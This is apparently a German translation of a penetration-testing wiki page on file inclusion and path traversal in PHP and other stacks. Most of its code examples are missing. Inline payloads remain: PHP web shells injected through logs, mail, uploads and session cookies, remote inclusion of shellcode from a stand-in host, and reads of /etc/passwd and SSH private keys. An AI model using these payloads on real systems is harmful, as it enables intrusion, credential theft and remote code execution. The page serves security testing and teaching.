File Inclusion/Path traversal
Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Hacking-Einblicke Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
Echtzeit-Hack-News Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden
Neueste Ankündigungen Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert
Treten Sie uns bei Discord und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
Dateiinklusion
Remote-Dateiinklusion (RFI): Die Datei wird von einem entfernten Server geladen (Am besten: Sie können den Code schreiben und der Server wird ihn ausführen). In PHP ist dies standardmäßig deaktiviert (allow_url_include). Lokale Dateiinklusion (LFI): Der Server lädt eine lokale Datei.
Die Verwundbarkeit tritt auf, wenn der Benutzer auf irgendeine Weise die Datei steuern kann, die vom Server geladen wird.
Verwundbare PHP-Funktionen: require, require_once, include, include_once
Ein interessantes Tool zur Ausnutzung dieser Verwundbarkeit: https://github.com/kurobeats/fimap
Blind - Interessante - LFI2RCE-Dateien
Linux
Durch die Kombination mehrerer *nix LFI-Listen und das Hinzufügen weiterer Pfade habe ich diese erstellt:
Versuchen Sie auch, /
durch \
zu ersetzen.
Versuchen Sie auch, ../../../../../
hinzuzufügen.
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle vorhanden ist), finden Sie hier
Windows
Zusammenführung verschiedener Wortlisten:
Versuchen Sie auch, /
durch \
zu ersetzen.
Versuchen Sie auch, C:/
zu entfernen und ../../../../../
hinzuzufügen.
Eine Liste, die verschiedene Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle vorhanden ist), finden Sie hier
OS X
Überprüfen Sie die LFI-Liste von Linux.
Grundlegende LFI und Umgehungen
Alle Beispiele sind für Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (Seite=http://myserver.com/phpshellcode.txt\.
Traversalsequenzen ohne rekursive Entfernung
Null-Byte (%00)
Umgehen Sie das Anhängen weiterer Zeichen am Ende des bereitgestellten Strings (Umgehung von: $_GET['param']."php")
Dies ist seit PHP 5.4 gelöst
Kodierung
Sie könnten nicht standardmäßige Codierungen wie doppelte URL-Codierung (und andere) verwenden:
Aus vorhandenem Ordner
Vielleicht überprüft das Backend den Ordnerpfad:
Erkunden von Dateisystemverzeichnissen auf einem Server
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess beinhaltet das Bestimmen der Verzeichnistiefe und das Überprüfen auf das Vorhandensein bestimmter Ordner. Im Folgenden wird eine detaillierte Methode zur Erreichung dieses Ziels beschrieben:
Bestimmen der Verzeichnistiefe: Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei
/etc/passwd
abrufen (falls der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein und eine Tiefe von drei anzeigen:
Ordner überprüfen: Hängen Sie den Namen des verdächtigten Ordners (z. B.
private
) an die URL an, navigieren Sie dann zurück zu/etc/passwd
. Die zusätzliche Verzeichnisebene erfordert eine Erhöhung der Tiefe um eins:
Interpretiere die Ergebnisse: Die Antwort des Servers zeigt an, ob der Ordner existiert:
Fehler / Keine Ausgabe: Der Ordner
private
existiert wahrscheinlich nicht an der angegebenen Stelle.Inhalt von
/etc/passwd
: Die Existenz des Ordnersprivate
wird bestätigt.
Rekursive Erkundung: Entdeckte Ordner können weiterhin auf Unterordner oder Dateien mit derselben Technik oder traditionellen Methoden zur lokalen Dateieinbindung (LFI) überprüft werden.
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passe das Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob /var/www/
ein Verzeichnis private
enthält (unter der Annahme, dass das aktuelle Verzeichnis eine Tiefe von 3 hat), verwende:
Pfadkürzungstechnik
Die Pfadkürzung ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Oft wird sie eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel besteht darin, einen Dateipfad zu erstellen, der, einmal durch die Sicherheitsmaßnahme verändert, immer noch auf die gewünschte Datei zeigt.
In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Natur des Dateisystems als äquivalent betrachtet werden. Zum Beispiel:
/etc/passwd
,/etc//passwd
,/etc/./passwd
und/etc/passwd/
werden alle als derselbe Pfad behandelt.Wenn die letzten 6 Zeichen
passwd
sind, ändert das Anhängen eines/
(waspasswd/
ergibt) nicht die Zieldatei.Ebenso wird, wenn
.php
an einen Dateipfad angehängt wird (wieshellcode.php
), das Hinzufügen von/.
am Ende die aufgerufene Datei nicht verändern.
Die bereitgestellten Beispiele zeigen, wie die Pfadkürzung genutzt werden kann, um auf /etc/passwd
zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
In diesen Szenarien könnte die Anzahl der erforderlichen Traversals etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.
Verwendung von Punktesegmenten und zusätzlichen Zeichen: Traversierungssequenzen (
../
) in Kombination mit zusätzlichen Punktesegmenten und Zeichen können verwendet werden, um das Dateisystem zu navigieren und dabei angehängte Zeichenfolgen des Servers effektiv zu ignorieren.Ermittlung der erforderlichen Anzahl von Traversals: Durch Ausprobieren kann man die genaue Anzahl von
../
-Sequenzen finden, die benötigt werden, um zum Stammverzeichnis und dann zu/etc/passwd
zu navigieren, wodurch sichergestellt wird, dass angehängte Zeichenfolgen (wie.php
) neutralisiert werden, aber der gewünschte Pfad (/etc/passwd
) intakt bleibt.Beginn mit einem falschen Verzeichnis: Es ist eine gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis zu beginnen (wie
a/
). Diese Technik wird als Vorsichtsmaßnahme verwendet oder um die Anforderungen der Pfadanalyselogik des Servers zu erfüllen.
Bei der Verwendung von Pfadtrunkierungstechniken ist es entscheidend, das Pfadanalysenverhalten des Servers und die Dateisystemstruktur zu verstehen. Jedes Szenario erfordert möglicherweise einen anderen Ansatz, und Tests sind oft erforderlich, um die effektivste Methode zu finden.
Diese Schwachstelle wurde in PHP 5.3 behoben.
Filterumgehungs-Tricks
Remote-Dateieinschluss
In PHP ist dies standardmäßig deaktiviert, da allow_url_include
auf Aus gesetzt ist. Es muss auf Ein gesetzt sein, damit es funktioniert, und in diesem Fall könnten Sie eine PHP-Datei von Ihrem Server einbinden und RCE erhalten:
Wenn aus irgendeinem Grund allow_url_include
aktiviert ist, aber PHP den Zugriff auf externe Webseiten filtert, gemäß diesem Beitrag, könnten Sie beispielsweise das data-Protokoll mit Base64 verwenden, um einen b64 PHP-Code zu decodieren und RCE zu erhalten:
In dem vorherigen Code wurde das abschließende +.txt
hinzugefügt, weil der Angreifer einen String benötigte, der mit .txt
endet. So endet der String damit und nach dem b64-Decodieren wird dieser Teil nur Müll zurückgeben und der echte PHP-Code wird eingeschlossen (und folglich ausgeführt).
Ein weiteres Beispiel ohne Verwendung des php://
-Protokolls wäre:
Python Stammelement
In Python in einem Code wie diesem:
Wenn der Benutzer einen absoluten Pfad an file_name
übergibt, wird der vorherige Pfad einfach entfernt:
Es ist das beabsichtigte Verhalten gemäß der Dokumentation:
Wenn ein Bestandteil ein absoluter Pfad ist, werden alle vorherigen Bestandteile verworfen und das Verknüpfen wird vom absoluten Pfadbestandteil fortgesetzt.
Java Verzeichnisse auflisten
Es scheint, dass bei einem Pfadtraversal in Java und wenn Sie nach einem Verzeichnis fragen anstelle einer Datei, eine Auflistung des Verzeichnisses zurückgegeben wird. Dies wird in anderen Sprachen nicht passieren (soweit ich weiß).
Top 25 Parameter
Hier ist eine Liste der 25 wichtigsten Parameter, die anfällig für lokale Dateieinschluss (LFI) sein könnten (von diesem Link):
LFI / RFI mit PHP-Wrappern & Protokollen
php://filter
PHP-Filter ermöglichen grundlegende Änderungsvorgänge an den Daten vor dem Lesen oder Schreiben. Es gibt 5 Kategorien von Filtern:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Entfernt Tags aus den Daten (alles zwischen "<" und ">" Zeichen)Beachten Sie, dass dieser Filter aus den modernen Versionen von PHP verschwunden ist
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Wandelt in eine andere Codierung um (convert.iconv.<input_enc>.<output_enc>
). Um die Liste aller unterstützten Codierungen zu erhalten, führen Sie im Terminal aus:iconv -l
Durch den Missbrauch des convert.iconv.*
Konversionsfilters können Sie beliebigen Text generieren, der nützlich sein könnte, um beliebigen Text zu schreiben oder eine Funktion wie das Einbinden von beliebigem Text zu erstellen. Weitere Informationen finden Sie unter LFI2RCE über PHP-Filter.
zlib.deflate
: Komprimiert den Inhalt (nützlich, wenn viele Informationen exfiltriert werden)zlib.inflate
: Dekomprimiert die Datenmcrypt.*
: Veraltetmdecrypt.*
: VeraltetAndere Filter
Wenn Sie in PHP
var_dump(stream_get_filters());
ausführen, finden Sie ein paar unerwartete Filter:consumed
dechunk
: kehrt die HTTP-Chunk-Codierung umconvert.*
Der Teil "php://filter" ist nicht case sensitive.
Verwendung von PHP-Filtern als Orakel zum Lesen beliebiger Dateien
In diesem Beitrag wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne die Ausgabe vom Server zurückzuerhalten. Diese Technik basiert auf einer booleschen Exfiltration der Datei (Zeichen für Zeichen) unter Verwendung von PHP-Filtern als Orakel. Dies liegt daran, dass PHP-Filter verwendet werden können, um einen Text groß genug zu machen, um PHP eine Ausnahme auslösen zu lassen.
Im Originalbeitrag finden Sie eine ausführliche Erklärung der Technik, aber hier ist eine kurze Zusammenfassung:
Verwenden Sie den Codec
UCS-4LE
, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu erhöhen.Dies wird verwendet, um einen Text so groß zu generieren, dass PHP einen Fehler auslöst, wenn der Anfangsbuchstabe richtig geraten wird.
Der dechunk-Filter wird alles entfernen, wenn das erste Zeichen kein Hexadezimalwert ist, sodass wir wissen, ob das erste Zeichen hexadezimal ist.
Dies, in Kombination mit dem vorherigen (und anderen Filtern, die je nach geratenem Buchstaben verwendet werden), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genug Transformationen durchführen, um sicherzustellen, dass es sich nicht mehr um ein hexadezimales Zeichen handelt. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird einen PHP-Fehler auslösen.
Der Codec convert.iconv.UNICODE.CP930 wandelt jeden Buchstaben in den folgenden um (also nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein
a
ist, zum Beispiel, weil wenn wir 6 Mal diesen Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe nicht mehr ein hexadezimales Zeichen, daher löscht dechunk es nicht und der PHP-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.Durch die Verwendung anderer Transformationen wie rot13 am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu leaken (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
Wenn der anfängliche Buchstabe eine Zahl ist, muss sie base64-codiert werden und die ersten 2 Buchstaben geleakt werden, um die Zahl zu leaken.
Das endgültige Problem besteht darin zu sehen, wie mehr als der anfängliche Buchstabe geleakt werden kann. Durch die Verwendung von Ordnungsspeicherfiltern wie convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ist es möglich, die Reihenfolge der Zeichen zu ändern und andere Buchstaben des Textes an die erste Position zu bringen.
Und um weitere Daten zu erhalten, besteht die Idee darin, am Anfang 2 Bytes Junk-Daten zu generieren mit convert.iconv.UTF16.UTF16, dann UCS-4LE anzuwenden, um es mit den nächsten 2 Bytes zu verknüpfen, und die Daten bis zu den Junk-Daten zu löschen (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
Im Beitrag wurde auch ein Tool geleakt, um dies automatisch durchzuführen: php_filters_chain_oracle_exploit.
php://fd
Dieser Wrapper ermöglicht den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:
Du kannst auch php://stdin, php://stdout und php://stderr verwenden, um auf die Dateideskriptoren 0, 1 und 2 jeweils zuzugreifen (nicht sicher, wie dies bei einem Angriff nützlich sein könnte)
zip:// und rar://
Lade eine Zip- oder Rar-Datei mit einer PHPShell hoch und greife darauf zu. Um das rar-Protokoll missbrauchen zu können, muss es speziell aktiviert sein.
data://
Die data://
-Methode ermöglicht es, Daten direkt in die URL einzubetten, anstatt auf eine externe Datei zu verweisen. Dies kann für Angriffe auf Dateieinschlüsse verwendet werden, um bösartigen Code einzuschleusen.
Beachten Sie, dass dieses Protokoll durch PHP-Konfigurationen allow_url_open
und allow_url_include
eingeschränkt ist.
expect://
Expect muss aktiviert sein. Sie können Code mit folgendem ausführen:
Eingabe://
Geben Sie Ihr Payload in den POST-Parametern an:
phar://
Eine .phar
-Datei kann genutzt werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie include
für das Laden von Dateien verwendet. Der unten bereitgestellte PHP-Code-Schnipsel zeigt die Erstellung einer .phar
-Datei:
Um die Datei .phar
zu kompilieren, sollte der folgende Befehl ausgeführt werden:
Bei der Ausführung wird eine Datei mit dem Namen test.phar
erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI)-Schwachstellen verwendet werden könnte.
In Fällen, in denen die LFI nur Dateilesevorgänge ohne Ausführung des PHP-Codes innerhalb durchführt, beispielsweise über Funktionen wie file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
oder filesize()
, könnte versucht werden, eine Deserialisierungsschwachstelle auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien über das phar
-Protokoll verbunden.
Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsschwachstellen im Kontext von .phar
-Dateien siehe das unten verlinkte Dokument:
Phar Deserialization Exploitation Guide
pagephar:// deserializationWeitere Protokolle
Überprüfen Sie weitere mögliche Protokolle, die hier eingefügt werden können:
php://memory und php://temp — Schreiben im Speicher oder in einer temporären Datei (nicht sicher, wie dies bei einem Dateieinschlussangriff nützlich sein kann)
file:// — Zugriff auf das lokale Dateisystem
http:// — Zugriff auf HTTP(s)-URLs
ftp:// — Zugriff auf FTP(s)-URLs
zlib:// — Kompressions-Streams
glob:// — Suchen von Pfadnamen, die zu einem Muster passen (gibt nichts Druckbares zurück, daher hier nicht wirklich nützlich)
ssh2:// — Secure Shell 2
ogg:// — Audio-Streams (nicht nützlich zum Lesen beliebiger Dateien)
LFI über PHP's 'assert'
Local File Inclusion (LFI)-Risiken in PHP sind besonders hoch, wenn es um die Funktion 'assert' geht, die Code in Zeichenfolgen ausführen kann. Dies ist besonders problematisch, wenn Eingaben mit Verzeichnistraversierungszeichen wie ".." überprüft, aber nicht ordnungsgemäß bereinigt werden.
Beispielsweise könnte PHP-Code so gestaltet sein, um Verzeichnistraversierung zu verhindern:
Während dies darauf abzielt, Traversierung zu stoppen, schafft es unbeabsichtigt einen Vektor für Code-Injektion. Um dies auszunutzen und Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:
Ebenso könnte man zur Ausführung beliebiger Systembefehle Folgendes verwenden:
Es ist wichtig, diese Payloads URL-codiert.
Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Hacking-Einblicke Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
Echtzeit-Hack-News Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden
Neueste Ankündigungen Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert
Treten Sie uns bei Discord bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
PHP Blind Path Traversal
Diese Technik ist relevant in Fällen, in denen Sie den Dateipfad einer PHP-Funktion kontrollieren, die auf eine Datei zugreifen wird, deren Inhalt Sie jedoch nicht sehen werden (wie ein einfacher Aufruf von file()
), aber der Inhalt nicht angezeigt wird.
In diesem unglaublichen Beitrag wird erklärt, wie ein blinder Pfadtraversal über PHP-Filter missbraucht werden kann, um den Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren.
Zusammenfassend wird die Technik verwendet, um die Datei mit der "UCS-4LE"-Codierung so groß zu machen, dass die PHP-Funktion, die die Datei öffnet, einen Fehler auslöst.
Dann wird zur Offenlegung des ersten Zeichens der Filter dechunk
zusammen mit anderen wie base64 oder rot13 verwendet, und schließlich werden die Filter convert.iconv.UCS-4.UCS-4LE und convert.iconv.UTF16.UTF-16BE verwendet, um andere Zeichen am Anfang zu platzieren und sie preiszugeben.
Anfällige Funktionen könnten sein: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (nur Ziel schreibgeschützt damit)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Für technische Details überprüfen Sie den genannten Beitrag!
LFI2RCE
Remote File Inclusion
Wie zuvor erklärt, folgen Sie diesem Link.
Über Apache/Nginx-Logdatei
Wenn der Apache- oder Nginx-Server anfällig für LFI ist, könnten Sie versuchen, auf /var/log/apache2/access.log
oder /var/log/nginx/access.log
zuzugreifen, setzen Sie innerhalb des User-Agent oder innerhalb eines GET-Parameters eine PHP-Shell wie <?php system($_GET['c']); ?>
und inkludieren Sie diese Datei
Beachten Sie, dass wenn Sie doppelte Anführungszeichen für die Shell anstelle von einfachen Anführungszeichen verwenden, die doppelten Anführungszeichen für den String "quote;" modifiziert werden, PHP wird dort einen Fehler werfen und nichts anderes wird ausgeführt.
Stellen Sie außerdem sicher, dass Sie die Payload korrekt schreiben, da PHP jedes Mal einen Fehler auslöst, wenn es versucht, die Protokolldatei zu laden, und Sie keine zweite Gelegenheit haben werden.
Dies könnte auch in anderen Protokollen durchgeführt werden, aber seien Sie vorsichtig, der Code in den Protokollen könnte URL-codiert sein und dies könnte die Shell zerstören. Der Header Authorization "basic" enthält "Benutzer:Passwort" in Base64 und wird in den Protokollen decodiert. Die PHPShell könnte in diesen Header eingefügt werden. Andere mögliche Protokollpfade:
Fuzzing-Wortliste: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Über E-Mail
Senden Sie eine E-Mail an ein internes Konto (user@localhost) mit Ihrem PHP-Payload wie <?php echo system($_REQUEST["cmd"]); ?>
und versuchen Sie, die E-Mail des Benutzers mit einem Pfad wie /var/mail/<BENUTZERNAME>
oder /var/spool/mail/<BENUTZERNAME>
einzuschließen.
Über /proc/*/fd/*
Laden Sie viele Shells hoch (zum Beispiel: 100).
Schließen Sie http://example.com/index.php?page=/proc/$PID/fd/$FD ein, wobei $PID = PID des Prozesses (kann erzwungen werden) und $FD der Dateideskriptor (kann ebenfalls erzwungen werden).
Über /proc/self/environ
Wie eine Protokolldatei, senden Sie das Payload im User-Agent, es wird innerhalb der Datei /proc/self/environ reflektiert.
Über Upload
Wenn Sie eine Datei hochladen können, fügen Sie einfach das Shell-Payload ein (z. B.: <?php system($_GET['c']); ?>
).
Um die Datei lesbar zu halten, ist es am besten, in die Metadaten der Bilder/Dokumente/PDFs einzuspeisen
Über Zip-Datei-Upload
Laden Sie eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und greifen Sie darauf zu:
Über PHP-Sitzungen
Überprüfen Sie, ob die Website PHP-Sitzungen (PHPSESSID) verwendet.
In PHP werden diese Sitzungen in Dateien unter /var/lib/php5/sess\[PHPSESSID]_ gespeichert.
Setze das Cookie auf <?php system('cat /etc/passwd');?>
Verwenden Sie die LFI, um die PHP-Sitzungsdatei einzuschließen.
Über ssh
Wenn ssh aktiv ist, überprüfen Sie, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuchen Sie auf <HOME>/.ssh/id_rsa zuzugreifen.
Über vsftpd Protokolle
Die Protokolle für den FTP-Server vsftpd befinden sich unter /var/log/vsftpd.log. In dem Szenario, in dem eine lokale Dateieinschließungs (LFI) Schwachstelle besteht und der Zugriff auf einen freigelegten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:
Fügen Sie ein PHP-Payload in das Benutzernamenfeld während des Anmeldevorgangs ein.
Nach der Injektion verwenden Sie die LFI, um die Serverprotokolle von /var/log/vsftpd.log abzurufen.
Über php base64 Filter (unter Verwendung von base64)
Wie in diesem Artikel gezeigt, ignoriert der PHP base64 Filter einfach Nicht-Base64. Sie können das verwenden, um die Dateierweiterungsprüfung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, ignoriert es einfach den "." und fügt "php" an das base64 an. Hier ist ein Beispiel-Payload:
Über php-Filter (keine Datei erforderlich)
Dieser Berichterklärt, dass Sie php-Filter verwenden können, um beliebige Inhalte zu generieren. Das bedeutet im Grunde genommen, dass Sie beliebigen php-Code generieren können, um ihn in das Include einzufügen, ohne ihn in eine Datei schreiben zu müssen.
pageLFI2RCE via PHP FiltersÜber Segmentation Fault
Laden Sie eine Datei hoch, die vorübergehend in /tmp
gespeichert wird, lösen Sie dann im selben Request einen Segmentation Fault aus, und die vorübergehende Datei wird nicht gelöscht, sodass Sie danach suchen können.
Über Nginx-Temp-Dateispeicher
Wenn Sie eine Local File Inclusion gefunden haben und Nginx vor PHP läuft, könnten Sie mit der folgenden Technik RCE erhalten:
pageLFI2RCE via Nginx temp filesÜber PHP_SESSION_UPLOAD_PROGRESS
Wenn Sie eine Local File Inclusion gefunden haben, auch wenn Sie keine Sitzung haben und session.auto_start
auf Aus
steht. Wenn Sie die PHP_SESSION_UPLOAD_PROGRESS
in multipart POST-Daten bereitstellen, wird PHP die Sitzung für Sie aktivieren. Sie könnten dies missbrauchen, um RCE zu erhalten:
Über temporäre Datei-Uploads in Windows
Wenn Sie eine Local File Inclusion gefunden haben und der Server unter Windows läuft, könnten Sie RCE erhalten:
pageLFI2RCE Via temp file uploadsÜber phpinfo() (file_uploads = on)
Wenn Sie eine Local File Inclusion gefunden haben und eine Datei, die phpinfo() mit file_uploads = on freigibt, können Sie RCE erhalten:
pageLFI2RCE via phpinfo()Über compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Pfadoffenlegung
PHP_STREAM_PREFER_STUDIO
+ PfadoffenlegungWenn Sie eine Local File Inclusion gefunden haben und den Pfad der temporären Datei exfiltrieren können, der Server jedoch überprüft, ob die einzuschließende Datei PHP-Markierungen hat, können Sie versuchen, diese Überprüfung mit diesem Race Condition zu umgehen:
pageLFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureÜber ewiges Warten + Brute Force
Wenn Sie die LFI missbrauchen können, um vorübergehende Dateien hochzuladen und den Server die PHP-Ausführung anhängen zu lassen, könnten Sie dann Stunden damit verbringen, Dateinamen zu erraten, um die vorübergehende Datei zu finden:
pageLFI2RCE via Eternal waitingZu einem Fatal Error
Wenn Sie eine der Dateien /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
einfügen. (Sie müssen dieselbe Datei zweimal einfügen, um diesen Fehler auszulösen).
Ich weiß nicht, wie das nützlich ist, aber es könnte sein. Selbst wenn Sie einen PHP Fatal Error verursachen, werden temporäre PHP-Dateien gelöscht.
Referenzen
Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Hacking Insights Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
Echtzeit-Hack-News Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden
Neueste Ankündigungen Bleiben Sie über die neuesten Bug-Bounty-Starts und wichtigen Plattformupdates informiert
Treten Sie uns bei Discord bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!
Last updated